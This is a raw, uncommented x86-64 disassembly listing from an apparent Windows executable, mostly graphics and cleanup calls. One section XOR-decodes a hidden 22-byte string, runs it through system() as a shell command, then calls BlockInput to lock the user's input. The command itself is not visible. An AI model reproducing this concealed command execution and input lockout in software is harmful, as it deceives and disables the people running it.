movss xmm3, dword [0x7ff6bb0ac014]
lea rcx, [rbp + 0x838]
movss xmm1, dword [0x7ff6bb0ac008]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm14
mov edi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac02c]
lea rcx, [rbp + 0x848]
movss xmm2, dword [0x7ff6bb0abfcc]
movaps xmm1, xmm6
movss dword [rsp + 0x20], xmm14
mov ebx, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac10c]
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x40], r15d
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x38], xmm0
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.7ff6bafe5020
movzx ecx, byte [0x7ff6bb13fd3b]
jmp 0x7ff6bb0124a2
movss xmm6, dword [0x7ff6bb0abf88]
test cl, cl
movzx eax, cl
cmove eax, r12d
mov byte [0x7ff6bb13fd3b], al
cmp r14d, 5
jne 0x7ff6bb012645
movss xmm2, dword [0x7ff6bb0ac150]
lea rcx, [rbp + 0x5c0]
movss xmm1, dword [0x7ff6bb0ac274]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac154]
lea rcx, [rbp + 0x5c8]
movss xmm1, dword [0x7ff6bb0ac280]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm3, dword [0x7ff6bb0ac000]
lea rcx, [rbp + 0x858]
movss xmm2, dword [0x7ff6bb0abfb8]
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm14
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0abfd8]
lea rcx, [rbp + 0x868]
movss xmm1, dword [0x7ff6bb0abfec]
movaps xmm2, xmm6
movss dword [rsp + 0x20], xmm14
mov esi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac014]
lea rcx, [rbp + 0x878]
movss xmm1, dword [0x7ff6bb0ac008]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm14
mov edi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac02c]
lea rcx, [rbp + 0x490]
movss xmm2, dword [0x7ff6bb0abfcc]
movaps xmm1, xmm6
movss dword [rsp + 0x20], xmm14
mov ebx, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac10c]
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x40], r15d
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x38], xmm0
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.7ff6bafe5020
mov r15d, dword [rbp - 0x78]
movaps xmm0, xmmword [0x7ff6bb0ac340]
lea rcx, [rsp + 0x70]
movups xmmword [rsp + 0x70], xmm0
call fcn.7ff6bafc3580
movaps xmm0, xmmword [0x7ff6bb0ac5d0]
lea rcx, [rbp + 0x388]
movups xmmword [rbp + 0x388], xmm0
mov ebx, eax
call fcn.7ff6bafc3580
movss xmm2, dword [0x7ff6bb0ac108]
lea rdx, [rbp + 0x11f8]
mov r9d, eax
mov dword [rsp + 0x20], ebx
mov rcx, r13
call fcn.7ff6bb007550
call fcn.7ff6bafd0530
call fcn.7ff6bafcab40
mov rcx, qword [0x7ff6bb155658]
lea r8, [0x7ff6bb155640]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x2340], xmm0
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x7ff6bb155658]
lea r8, [rbp + 0x2340]
mov rdx, qword [0x7ff6bb155640]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.7ff6bafc6350
mov rcx, rax
call fcn.7ff6bafeaea0
mov rcx, qword [0x7ff6bb155648]
xor r8d, r8d
mov edx, r12d
mov rax, qword [rcx]
call qword [rax + 0x40]
movss xmm7, dword [0x7ff6bb0ac0a8]
xor r13d, r13d
movss xmm9, dword [0x7ff6bb0ac13c]
movss xmm11, dword [0x7ff6bb0ac024]
jmp 0x7ff6bb00b836
movzx eax, byte [0x7ff6bb121717]
movaps xmm15, xmmword [rsp + 0x15d80]
movaps xmm14, xmmword [rsp + 0x15d90]
movaps xmm13, xmmword [rsp + 0x15da0]
movaps xmm12, xmmword [rsp + 0x15db0]
movaps xmm11, xmmword [rsp + 0x15dc0]
movaps xmm10, xmmword [rsp + 0x15dd0]
movaps xmm9, xmmword [rsp + 0x15de0]
mov r15, qword [rsp + 0x15e20]
test al, al
jne 0x7ff6bb01299a
mov r13d, dword [0x7ff6bb0bb018]
nop word [rax + rax]
cmp byte [0x7ff6bb0a21b5], 0
mov eax, dword [0x7ff6bb0a21b0]
movups xmm0, xmmword [0x7ff6bb0a21a0]
mov dword [rbp + 0x11e8], eax
movzx eax, word [0x7ff6bb0a21b4]
movups xmmword [rbp + 0x11d8], xmm0
mov word [rbp + 0x11ec], ax
je 0x7ff6bb012974
xor r8d, r8d
cmp r13d, 2
jl 0x7ff6bb012931
movdqa xmm0, xmmword [0x7ff6bb0ac460]
lea rcx, [rbp + 0x11dc]
movdqa xmm5, xmmword [0x7ff6bb0ac370]
mov eax, 5
movdqa xmm4, xmmword [0x7ff6bb0ac860]
movdqa xmm7, xmmword [0x7ff6bb0ac3a0]
movdqa xmmword [rsp + 0x70], xmm0
mov edx, dword [rsp + 0x70]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x7ff6bb0ac420]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x7ff6bb012820
cmp r8d, 0x16
jge 0x7ff6bb012974
movsxd rax, r8d
lea r9, [rbp + 0x11d8]
add r9, rax
nop
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x35
xor byte [r9 - 1], al
cmp r8d, 0x16
jl 0x7ff6bb012940
lea rcx, [rbp + 0x11d8]
call qword [sym.imp.ucrtbase.dll_system]
mov ecx, r12d
call qword [sym.imp.user32.dll_BlockInput]
cmp byte [0x7ff6bb121717], 0
je 0x7ff6bb012790
xor r13d, r13d
mov ecx, r12d
call qword [sym.imp.user32.dll_ShowCursor]
call fcn.7ff6bafec0e0
call fcn.7ff6bafec350
xor ecx, ecx
call fcn.7ff6bafc62e0
call fcn.7ff6bb015db0
mov rcx, qword [0x7ff6bb1535d8]
call qword [sym.imp.user32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1198]
mov rcx, qword [rbp + 0x11c0]
call qword [sym.imp.user32.dll_UnregisterClassW]
lea rcx, [rbp + 0x1350]
mov r12d, r13d
call fcn.7ff6baff9e00
lea rcx, [rbp + 0x1640]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x13c8]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1450]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x14e0]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1430]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1500]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1410]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1620]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1520]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1f40]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x1a40]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x1b40]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x2040]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x1c40]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x1d40]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x1e40]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x2140]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x2240]
call fcn.7ff6bb015c20
lea rcx, [rbp + 0x1698]
call fcn.7ff6bb0161c0
lea rcx, [rbp + 0x1360]
call fcn.7ff6baffbef0
lea rcx, [rbp + 0x1540]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1560]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1580]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1778]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1798]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x17b8]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x15a0]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1490]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x15c0]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x13e8]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x15e0]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1470]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x1378]
call fcn.7ff6bb0186d0
lea rcx, [rbp + 0x18a0]
call fcn.7ff6bb015b80
lea rcx, [rbp + 0x1398]
call fcn.7ff6bb0186d0
movaps xmm8, xmmword [rsp + 0x15df0]
movaps xmm7, xmmword [rsp + 0x15e00]
movaps xmm6, xmmword [rsp + 0x15e10]
mov r14, qword [rsp + 0x15e28]
mov r13, qword [rsp + 0x15e30]
mov rdi, qword [rsp + 0x15e60]
mov rsi, qword [rsp + 0x15e58]
lea rcx, [rbp + 0x1600]
call fcn.7ff6bb0186d0
mov rbx, qword [rsp + 0x15e50]
mov eax, r12d
mov r12, qword [rsp + 0x15e38]
mov rcx, qword [rbp + 0x15c70]
xor rcx, rsp
call fcn.7ff6bb030660
add rsp, 0x15e40
pop rbp
ret